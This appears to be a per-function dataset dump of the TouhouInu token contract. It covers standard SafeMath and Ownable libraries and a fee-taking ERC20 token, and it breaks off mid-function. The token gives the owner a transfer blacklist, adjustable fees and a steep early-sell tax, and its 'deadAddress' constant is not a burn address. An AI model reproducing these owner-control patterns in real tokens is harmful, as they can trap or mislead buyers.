TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
4558,
4729
]
} | 8,937 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
491,
575
]
} | 8,938 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1135,
1288
]
} | 8,939 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | Ownable | contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1439,
1688
]
} | 8,940 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
} | mul | function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
| /**
* @dev Multiplies two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
235,
544
]
} | 8,941 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
} | div | function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
| /**
* @dev Division of two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
635,
900
]
} | 8,942 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
} | sub | function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
| /**
* @dev Subtracts two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
989,
1170
]
} | 8,943 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
} | add | function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
| /**
* @dev Adds two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1254,
1435
]
} | 8,944 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
} | abs | function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
| /**
* @dev Converts to absolute value, and fails on overflow.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
1521,
1655
]
} | 8,945 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | TouhouInu | contract TouhouInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xfaE435dD8CF22b997854dDD427A4A373aeDe0F49);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 7200 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = false;
bool public tradingActive = true;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
// uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Touhou Inu", "TOUHOU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 8;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 18;
uint256 _sellLiquidityFee = 8;
uint256 _sellDevFee = 2;
uint256 _earlySellLiquidityFee = 12;
uint256 _earlySellMarketingFee = 16;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 2 / 1000; // 0.2% maxTransactionAmountTxn
maxWallet = totalSupply * 6 / 1000; // .6% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
// lastLpBurnTime = block.timestamp;
// launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
// if (block.number <= (launchedAt + 1) &&
// to != uniswapV2Pair &&
// to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
// ) {
// _blacklist[to] = true;
// }
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
